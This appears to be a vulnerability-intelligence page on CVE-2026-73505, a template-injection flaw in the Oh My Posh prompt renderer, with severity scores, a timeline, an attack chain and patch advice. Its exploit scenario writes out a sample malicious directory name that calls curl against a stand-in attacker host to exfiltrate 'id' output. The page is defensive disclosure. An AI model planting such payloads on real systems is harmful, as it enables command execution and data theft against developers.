What is the CVSS score of CVE-2026-73505?

CVE-2026-73505 has a CVSS 3.1 base score of 7.8 (High). CVSS vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H. EPSS exploitation probability: 0.2%.

Which versions of Oh My Posh are affected by CVE-2026-73505?

Oh My Posh prior to version 29.35.1 contains a template injection vulnerability allowing arbitrary system command execution (publicly available exploit code exists) as the victim user.. A patch is available.

Is there a public PoC exploit available for CVE-2026-73505?

Yes, a public proof-of-concept exploit is available for CVE-2026-73505. Prioritise patching immediately. EPSS: 0.2%.

How to fix or mitigate CVE-2026-73505?

Within 24 hours, inventory all systems and users running Oh My Posh versions prior to 29.35.1, focusing on development environments and shared filesystems where untrusted repository access is possible. Within 7 days, upgrade to Oh My Posh 29.35.1 or later if available as a patch release, or implement compensating controls by restricting write access to shared directories and disabling path rendering features where feasible. Within 30 days, monitor the Oh My Posh project for patch releases and conduct rollout across all affected systems; provide developer security awareness training on directory naming risks when working in shared development environments.

Oh My Posh CVE-2026-73505

EUVD-2026-58078 HIGH

Code Injection (CWE-94)

2026-08-13 GitHub_M

GHSA-6xj8-qv9j-xcjq

Code Injection RCE Oh My Posh Red Hat

7.8

CVSS 3.1 · Vendor: GitHub_M

Severity by source

Vendor (GitHub_M) PRIMARY

7.8 HIGH

AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

vuln.today AI

7.8 HIGH

Local vector because attacker must place a malicious directory on the victim's filesystem; PR:N as no elevated privileges needed to create directories; UI:R because victim must navigate into the directory to trigger prompt rendering.

3.1 AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

4.0 AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Red Hat

7.8 HIGH

qualitative

Primary rating from Vendor (GitHub_M).

CVSS VectorVendor: GitHub_M

CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Attack Vector

Local

Attack Complexity

Low

Privileges Required

None

User Interaction

Required

Scope

Unchanged

Confidentiality

High

Integrity

High

Availability

High

Lifecycle Timeline

Patch available

Aug 13, 2026 - 17:18 EUVD

Source Code Evidence Fetched

Aug 13, 2026 - 15:37 vuln.today

Analysis Generated

Aug 13, 2026 - 15:37 vuln.today

CVE Published

Aug 13, 2026 - 14:21 cve.org

HIGH 7.8

DescriptionCVE.org

Oh My Posh is the most customisable and low-latency cross platform/shell prompt renderer. Prior to 29.35.1, the setStyle() function in src/segments/path.go passed pt.Path, which includes raw folder names, to template.Render, whose function map exposes cmd, so an attacker-controlled directory name containing a Go template expression could execute arbitrary operating system commands as the current user whenever the prompt rendered inside that directory or a descendant. This issue is fixed in version 29.35.1.

AnalysisAI

Template injection in Oh My Posh prior to 29.35.1 allows arbitrary operating system command execution as the victim user when the shell prompt renders inside a directory whose name contains a Go template expression. The setStyle() function in src/segments/path.go passes raw filesystem path components - including untrusted directory names - directly into template.Render, whose function map exposes a cmd helper that invokes env.RunCommand. …

Unlock full vulnerability intelligence

Risk assessment & exploitation conditions
Attack chain visualization
Remediation with exact patch versions
Threat intelligence from 22 sources
Personal watchlist & email alerts

Continue with Google Continue with GitHub

Free forever · No credit card required

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata

Access

Create directory with template payload name

Delivery

Victim navigates into or below malicious directory

Exploit

Oh My Posh renders shell prompt

Execution

setStyle() passes raw path to template.Render

Persist

cmd function executes attacker OS command

Impact

Arbitrary code runs as victim user

Access

Create directory with template payload name

Delivery

Victim navigates into or below malicious directory

Exploit

Oh My Posh renders shell prompt

Execution

setStyle() passes raw path to template.Render

Persist

cmd function executes attacker OS command

Impact

Arbitrary code runs as victim user

Vulnerability AssessmentAI

Exploitation	The victim must be running Oh My Posh as their shell prompt renderer with any configuration containing a path segment - including the built-in default configuration. … Additional conditions and limiting factors are described in the full assessment.
Risk Assessment	The CVSS 3.1 score of 7.8 (AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H) accurately reflects a local-vector, low-complexity attack requiring user interaction (victim must navigate into the malicious directory). … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario	An attacker crafts a Git repository containing a directory named `{{ cmd "curl" "https://attacker.example/exfil?u=$(id)" }}`. A developer clones the repository and runs `cd` into any child of that directory as part of normal workflow. …
Remediation	Upgrade to Oh My Posh v29.35.1, which is the vendor-released patch resolving this issue. … Detailed patch versions, workarounds, and compensating controls in full report.

Recommended ActionAI

Within 24 hours, inventory all systems and users running Oh My Posh versions prior to 29.35.1, focusing on development environments and shared filesystems where untrusted repository access is possible. …

Threat intelligence, references, and detailed analysis are available after sign-in.